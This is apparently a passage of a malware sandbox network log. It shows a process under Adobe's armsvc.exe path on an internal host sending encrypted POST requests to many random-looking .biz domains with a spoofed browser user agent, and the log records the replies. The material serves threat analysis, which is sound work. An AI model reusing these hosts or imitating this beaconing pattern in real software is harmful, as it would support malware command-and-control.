Oct 31, 2024 16:05:13.661004066 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5eb87554c6f85d243d8ec7b7430f64c6\|173.254.250.77\|1730387112\|1730387112\|0\|1\|0; path=/; domain=.iuzpxe.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:13.661020041 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5eb87554c6f85d243d8ec7b7430f64c6\|173.254.250.77\|1730387112\|1730387112\|0\|1\|0; path=/; domain=.iuzpxe.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:13.661259890 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5eb87554c6f85d243d8ec7b7430f64c6\|173.254.250.77\|1730387112\|1730387112\|0\|1\|0; path=/; domain=.iuzpxe.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:13.924576998 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5eb87554c6f85d243d8ec7b7430f64c6\|173.254.250.77\|1730387112\|1730387112\|0\|1\|0; path=/; domain=.iuzpxe.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.22	49276	3.254.94.185	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:11.604485035 CET	343	OUT	POST /pq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: uaafd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:11.604496956 CET	850	OUT	Data Raw: b1 28 f4 e9 2a 79 09 d2 46 03 00 00 ff c9 95 bb db fc 79 ff 2c 7f e0 93 b0 72 cd 73 4e 98 e6 77 98 a5 73 f7 b2 c2 45 2c 17 35 75 ec 99 0d ca 81 58 2d 6e e4 28 e2 d5 c5 fd 9f 91 de 2e fd 8a 04 fa 38 6a 70 ab ae c6 e4 72 70 24 72 d6 70 60 31 55 de Data Ascii: (yFy,rsNwsE,5uX-n(.8jprp$rp`1Uv5m-0=sU>No+bO~1u]em[L6=)Q?9i_u%uFEP!Y`RC\|OZ=P\:(1iS`mxllDHl:9
Oct 31, 2024 16:05:12.598907948 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d9e7325d7eb294bc61b6ac08c132bf85\|173.254.250.77\|1730387112\|1730387112\|0\|1\|0; path=/; domain=.uaafd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.22	49277	18.141.10.107	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:12.617623091 CET	345	OUT	POST /f HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: eufxebus.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:12.617635012 CET	850	OUT	Data Raw: a0 ec d2 31 8c 01 43 11 46 03 00 00 59 71 23 a7 3e 59 76 91 de 2c cb f6 4f d3 9a 96 65 c2 69 72 17 20 79 25 56 ce b7 0d 87 f7 1a c2 af 4b 41 b0 0c 15 9b e4 80 5f f8 5d 65 c3 ad c5 93 07 9b 1f e2 17 bc 4e be 99 f8 46 27 54 1f aa b5 c5 2f d2 43 55 Data Ascii: 1CFYq#>Yv,Oeir y%VKA_]eNF'T/CU&"v+%2A,%'FGEbqL=Ax\|6mh5LJ,Ahk1K!zL</_l1gvK2>rp8Q3yWk_"9Nv$8,i+
Oct 31, 2024 16:05:12.922118902 CET	1195	OUT	POST /f HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: eufxebus.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850 Data Raw: a0 ec d2 31 8c 01 43 11 46 03 00 00 59 71 23 a7 3e 59 76 91 de 2c cb f6 4f d3 9a 96 65 c2 69 72 17 20 79 25 56 ce b7 0d 87 f7 1a c2 af 4b 41 b0 0c 15 9b e4 80 5f f8 5d 65 c3 ad c5 93 07 9b 1f e2 17 bc 4e be 99 f8 46 27 54 1f aa b5 c5 2f d2 43 55 16 26 8b 9b 22 d9 8f 76 2b 25 12 32 41 9d d8 2c fd 12 25 27 8d a8 46 98 47 45 e0 62 e1 ad 71 4c d4 8c 93 3d 41 f2 82 78 b5 7c 36 8f 6d d9 84 68 92 e7 35 4c 4a ab 9c d6 e2 9f 1c f8 de 2c f5 ee 41 68 6b 15 af d6 31 4b ce 21 b3 92 7a a4 4c 2a 3c 2f dc fa 5f e8 f9 07 96 6c 31 a0 19 f3 af 67 15 76 4b fc 32 3e c9 c4 e3 72 b6 70 d3 11 38 bc 10 51 09 a6 33 79 a8 57 a3 e5 89 ea bb 2a d8 fd 6b 7f 91 94 a8 a3 5f f9 22 1c a6 01 bd 09 c3 39 02 e0 4e 02 bb 76 9c 24 38 df 0a 2c a0 69 09 2b 82 c9 bc 50 1b 1f 88 2d b0 3a 53 13 dc b1 e4 71 61 af fe bd 27 52 65 60 20 6c 39 dd aa a4 f3 7a d7 6b 76 6e 6b ac 0b 03 70 04 b2 e1 da e1 58 49 72 aa c6 9a 71 60 a1 f7 fc 33 f0 40 e4 8f 53 54 a1 80 81 96 10 3d fa 9f 47 8b 30 19 ba c2 a6 2a 8b b1 33 a8 19 39 3a 0a d8 6d d4 e4 95 44 01 bf [TRUNCATED] Data Ascii: 1CFYq#>Yv,Oeir y%VKA_]eNF'T/CU&"v+%2A,%'FGEbqL=Ax\|6mh5LJ,Ahk1K!zL</_l1gvK2>rp8Q3yWk_"9Nv$8,i+P-:Sqa'Re` l9zkvnkpXIrq`3@ST=G039:mDx3LPh5}\O O!x3O6ulln4@A^qUHa<zrG.ZbKoOQ_yTs6y\|.."&hb[o3'wH6T{St`*ejBy)y`yR9wf,T =~WS'RYL;NGrTLf`g]fJl(ve$+@n@6;(a6HetKP}ael}W@g)X.,c\|0\QT;8w!/K^\|1S@5#",zXs+C;z,0h?A.BG6T;%Kg=VlZKGkCwj_ANH3Js/S$.
Oct 31, 2024 16:05:13.530517101 CET	1195	OUT	POST /f HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: eufxebus.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850 Data Raw: a0 ec d2 31 8c 01 43 11 46 03 00 00 59 71 23 a7 3e 59 76 91 de 2c cb f6 4f d3 9a 96 65 c2 69 72 17 20 79 25 56 ce b7 0d 87 f7 1a c2 af 4b 41 b0 0c 15 9b e4 80 5f f8 5d 65 c3 ad c5 93 07 9b 1f e2 17 bc 4e be 99 f8 46 27 54 1f aa b5 c5 2f d2 43 55 16 26 8b 9b 22 d9 8f 76 2b 25 12 32 41 9d d8 2c fd 12 25 27 8d a8 46 98 47 45 e0 62 e1 ad 71 4c d4 8c 93 3d 41 f2 82 78 b5 7c 36 8f 6d d9 84 68 92 e7 35 4c 4a ab 9c d6 e2 9f 1c f8 de 2c f5 ee 41 68 6b 15 af d6 31 4b ce 21 b3 92 7a a4 4c 2a 3c 2f dc fa 5f e8 f9 07 96 6c 31 a0 19 f3 af 67 15 76 4b fc 32 3e c9 c4 e3 72 b6 70 d3 11 38 bc 10 51 09 a6 33 79 a8 57 a3 e5 89 ea bb 2a d8 fd 6b 7f 91 94 a8 a3 5f f9 22 1c a6 01 bd 09 c3 39 02 e0 4e 02 bb 76 9c 24 38 df 0a 2c a0 69 09 2b 82 c9 bc 50 1b 1f 88 2d b0 3a 53 13 dc b1 e4 71 61 af fe bd 27 52 65 60 20 6c 39 dd aa a4 f3 7a d7 6b 76 6e 6b ac 0b 03 70 04 b2 e1 da e1 58 49 72 aa c6 9a 71 60 a1 f7 fc 33 f0 40 e4 8f 53 54 a1 80 81 96 10 3d fa 9f 47 8b 30 19 ba c2 a6 2a 8b b1 33 a8 19 39 3a 0a d8 6d d4 e4 95 44 01 bf [TRUNCATED] Data Ascii: 1CFYq#>Yv,Oeir y%VKA_]eNF'T/CU&"v+%2A,%'FGEbqL=Ax\|6mh5LJ,Ahk1K!zL</_l1gvK2>rp8Q3yWk_"9Nv$8,i+P-:Sqa'Re` l9zkvnkpXIrq`3@ST=G039:mDx3LPh5}\O O!x3O6ulln4@A^qUHa<zrG.ZbKoOQ_yTs6y\|.."&hb[o3'wH6T{St`*ejBy)y`yR9wf,T =~WS'RYL;NGrTLf`g]fJl(ve$+@n@6;(a6HetKP}ael}W@g)X.,c\|0\QT;8w!/K^\|1S@5#",zXs+C;z,0h?A.BG6T;%Kg=VlZKGkCwj_ANH3Js/S$.
Oct 31, 2024 16:05:15.113933086 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9578f19f1b2c73d3e365bb3b2cd63e46\|173.254.250.77\|1730387114\|1730387114\|0\|1\|0; path=/; domain=.eufxebus.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.22	49278	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:13.934443951 CET	355	OUT	POST /owpveplpxc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: sxmiywsfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:13.934443951 CET	784	OUT	Data Raw: c9 8f a9 06 22 a6 42 e7 04 03 00 00 86 db 2e 77 64 d6 0e 20 15 ad 81 fc cc 70 f6 f8 a1 0c d5 39 af ee 53 8d 04 96 f8 38 45 b8 45 d3 cb cc 77 b9 44 e6 0c b1 fc bc f7 44 54 c0 8f 42 bd 49 df 62 eb ae 58 99 a0 ef e4 43 66 5e a1 31 0b ca f4 8e 31 c9 Data Ascii: "B.wd p9S8EEwDDTBIbXCf^11(1)l"&=UcgcpEvKMeB9H.v,+bdKu.bwVW0@\BzmzXrIU1Hz3GSMz1Seud'y( uqO*
Oct 31, 2024 16:05:15.395834923 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=099f8bc2e78cbd23db6ab824a34563a5\|173.254.250.77\|1730387115\|1730387115\|0\|1\|0; path=/; domain=.sxmiywsfv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.22	49279	34.246.200.160	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:15.132064104 CET	354	OUT	POST /uofstlnqwooh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pwlqfu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:15.132076025 CET	850	OUT	Data Raw: ab a9 01 75 4f 0a 30 2f 46 03 00 00 fa da 74 5c 21 e2 c2 82 2d 79 cb 8d 80 0d a4 d9 18 38 9b ed 18 16 85 8a db c6 52 c7 55 02 ca 64 fa 9a c5 e6 4f 01 cb ab dd a8 30 e1 f1 d3 b3 71 2f 30 50 4c 5f 8c f5 bc e0 04 8c 82 c6 2f 4e 85 29 13 2c 68 0f 17 Data Ascii: uO0/Ft\!-y8RUdO0q/0PL_/N),hd.'PjOPe?P"jwZt]pz:t\|&x&\|%0iYU'pF7b^\Q%Dv2~u?h3o^9wi6qah
Oct 31, 2024 16:05:16.139944077 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2a8e88aa02b5470f6f831d496230879a\|173.254.250.77\|1730387115\|1730387115\|0\|1\|0; path=/; domain=.pwlqfu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.22	49280	34.211.97.45	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:15.498728991 CET	360	OUT	POST /mfgtlyoxltllucfv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vrrazpdh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:15.498749971 CET	784	OUT	Data Raw: af a9 75 d7 92 28 c1 d2 04 03 00 00 6c ce da 7e 0a 4b f1 51 b7 ea 48 59 0f e4 c9 d3 0f 67 5c 34 b3 3b aa a9 b3 9a 9a 3a 6b 1e 1a 69 59 1e 43 1f cf e1 ee c8 cb 82 4c e7 d3 b9 01 9c 71 74 34 b7 51 55 f0 a5 dc 1e c0 cb 18 1c 8b 04 42 ba e6 db d6 d2 Data Ascii: u(l~KQHYg\4;:kiYCLqt4QUB#}m:_Jt@oY"I=8I(93at@1XN91HOa.)5rJIIjy.2KS:\ceGY=JvD#;!g\|
Oct 31, 2024 16:05:16.349989891 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c1a63b15e431fb51bfd97d97b5369b7f\|173.254.250.77\|1730387116\|1730387116\|0\|1\|0; path=/; domain=.vrrazpdh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.22	49281	47.129.31.212	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:16.170933962 CET	361	OUT	POST /ttsxmvbmlkovsoeu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rrqafepng.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:16.170933962 CET	850	OUT	Data Raw: cf 33 61 b3 5b fe f0 7a 46 03 00 00 b8 dd 19 b8 f4 6b 29 d9 e1 99 6a c7 49 d9 1a 5b c2 f1 d1 66 31 8e a6 aa ca 7c 81 d1 a9 e6 16 de 25 00 5e d7 f8 a0 1b 3b 8a 29 e1 eb 3a 67 5f 3c 03 0f b8 2d 4c 4d 27 7d ea b2 0d 25 ca b3 85 df 9a 37 cb 6d 40 26 Data Ascii: 3a[zFk)jI[f1\|%^;):g_<-LM'}%7m@&\H+]guuiY`'IVZ;u1?@aFwcqdr$YRi}BO+"U~ -e!*9(^1ye iAEHh{
Oct 31, 2024 16:05:17.583997965 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=78dfadab2ba597b6f4aa9cfad5f314f8\|173.254.250.77\|1730387117\|1730387117\|0\|1\|0; path=/; domain=.rrqafepng.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.22	49282	47.129.31.212	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:16.380779982 CET	353	OUT	POST /nmcasbfgmfu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ftxlah.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:16.380779982 CET	784	OUT	Data Raw: 0a 2b 5d 75 d5 ae 63 f8 04 03 00 00 05 88 0d fd 44 16 9d 03 95 dc eb 10 8f 4a 59 f6 8d 4a 60 00 a2 ed 31 fc 92 c4 2d fd e5 49 b8 10 ac b0 a9 bf 0b 47 76 ce d3 e4 21 6e 4b 27 a8 5a b7 8c 5f ec 8f 85 e8 06 8e dd 3b f4 89 81 09 ea 66 ac dc 2b 7b 3c Data Ascii: +]ucDJYJ`1-IGv!nK'Z_;f+{<3U'0\0)R"7\|KM(YX8EZ2RBy:/mA8G("nvGh<Ml{DVc<V8z:'W8iBmz7mi#H!e8^}[X
Oct 31, 2024 16:05:17.804533958 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=978927b9755d33470af72a78854bd4ea\|173.254.250.77\|1730387117\|1730387117\|0\|1\|0; path=/; domain=.ftxlah.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.22	49283	3.94.10.34	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:17.624440908 CET	347	OUT	POST /snr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ctdtgwag.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:17.624453068 CET	850	OUT	Data Raw: 82 9f ad c4 69 a8 95 41 46 03 00 00 07 28 90 26 8a a0 56 23 62 00 3e 6f 9a f6 a0 b4 44 1b 96 02 42 46 d1 4f a0 03 1d 54 59 90 c4 84 c4 ad 10 f9 89 3b b4 80 52 12 50 e5 0c 28 c0 1d ea 20 bc 53 16 dd cc fe e2 08 c8 a8 51 b6 aa 27 0b 08 f5 90 97 d8 Data Ascii: iAF(&V#b>oDBFOTY;RP( SQ'[_&Yhu_~VgXrF-H{,wMTS^w`[PG`efUVZ(NcE^m_229/cu, V1hha6x)aR;
Oct 31, 2024 16:05:18.308901072 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8c70224d625c98ac9b7c6007f15c675f\|173.254.250.77\|1730387118\|1730387118\|0\|1\|0; path=/; domain=.ctdtgwag.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.22	49284	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:17.822182894 CET	352	OUT	POST /xekeeutyc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: typgfhb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:17.822182894 CET	784	OUT	Data Raw: 58 06 6b 9c dc d7 22 38 04 03 00 00 21 1e 30 20 5a d8 90 24 4f fa df cc 4c ed 76 19 75 35 14 1d 5f 81 10 70 5b 33 19 fd 57 fd 3d 38 14 96 43 97 ed 39 6b 28 f4 d8 84 d8 d6 fe 9e a7 d6 54 e6 0d dc db 5b fe 48 cf f8 72 c4 6c be 18 e8 08 e6 7e d1 1d Data Ascii: Xk"8!0 Z$OLvu5_p[3W=8C9k(T[Hrl~LOy9\|8sP=w5-]&Ooflp?BOav*TuxezR1/s\|rgd.%uy>7Z1'u[}IZE~[s8{3+%l,orB9
Oct 31, 2024 16:05:19.779943943 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=08ed11c72a11f63b715c402fe1e331ed\|173.254.250.77\|1730387118\|1730387118\|0\|1\|0; path=/; domain=.typgfhb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:19.780100107 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=08ed11c72a11f63b715c402fe1e331ed\|173.254.250.77\|1730387118\|1730387118\|0\|1\|0; path=/; domain=.typgfhb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:19.780641079 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=08ed11c72a11f63b715c402fe1e331ed\|173.254.250.77\|1730387118\|1730387118\|0\|1\|0; path=/; domain=.typgfhb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.22	49285	35.164.78.200	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:18.365664005 CET	357	OUT	POST /msyqohtftutej HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tnevuluw.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:18.365747929 CET	850	OUT	Data Raw: dc 55 d2 cd f0 fd 68 a4 46 03 00 00 f7 d1 63 4b b1 74 9c 91 3a d6 07 ea 49 97 c1 b5 f5 0e 4c b2 4a 10 67 1c 7e 31 6c 31 bf 78 c6 d6 5c e6 60 b6 8f f3 8d 54 e2 e5 8d ec 22 90 86 4c 5f d3 08 28 6a ab dd fa be 9a f6 1b 64 69 a7 f1 41 ae 19 7a 90 fc Data Ascii: UhFcKt:ILJg~1l1x\`T"L_(jdiAzY-Js^{fCoy&@,Nu"}lVS)jQPN%tLcjV@&UBqa"$D]<Baf@496{%KuS}Q
Oct 31, 2024 16:05:19.779927969 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fd59e37eb41a78fedf1f4987544a0bfc\|173.254.250.77\|1730387119\|1730387119\|0\|1\|0; path=/; domain=.tnevuluw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:19.780109882 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fd59e37eb41a78fedf1f4987544a0bfc\|173.254.250.77\|1730387119\|1730387119\|0\|1\|0; path=/; domain=.tnevuluw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
